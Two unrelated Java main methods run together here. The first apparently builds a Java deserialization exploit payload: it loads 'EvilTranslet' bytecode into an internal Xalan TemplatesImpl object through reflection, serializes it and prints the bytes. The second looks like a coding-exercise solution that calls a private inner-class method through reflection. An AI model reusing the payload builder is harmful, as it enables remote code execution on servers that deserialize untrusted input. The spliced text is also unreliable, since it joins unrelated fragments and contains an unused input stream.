public static void main(String[] args) throws Exception { FileInputStream fis = new FileInputStream("t.ser"); ObjectInputStream ois = new ObjectInputStream(fis); Constructor templateCtor = com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class .getDeclaredConstructors()[2]; templateCtor.setAccessible(true); System.out.println(templateCtor); byte[] newByteCode = getBytes("EvilTranslet.class"); byte[] helper = getBytes("EvilTranslet$1.class"); com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl template = (com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl) templateCtor.newInstance( new byte[][] {newByteCode, helper}, "GregorSamsor", null, 0, new com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl()); // writeField(template, "_bytecodes", new byte[][]{newByteCode, helper}); System.out.println(template); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(template); byte[] bytes = bos.toByteArray(); System.out.print("{"); for (int i = 0; i < bytes.length; ++i) { System.out.print(bytes[i]); System.out.print(","); } System.out.println("}"); }
public static void main(String[] args) throws Exception { BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); int num = Integer.parseInt(br.readLine().trim()); Object o; // Solution starts here if (num < 1 || num > Math.pow(2, 30)) throw new Exception(); Solution ob = new Solution(); Class<?> c = Class.forName("Solution$Private"); Constructor<?> constructor = c.getDeclaredConstructor(Solution.class); constructor.setAccessible(true); o = constructor.newInstance(ob); Method m = c.getDeclaredMethod("powerof2", new Class[] {int.class}); m.setAccessible(true); String ans = (String) m.invoke(o, num); System.out.println(num + " is " + ans); // ends here System.out.println( "An instance of class: " + o.getClass().getSimpleName() + " has been created"); } // end of main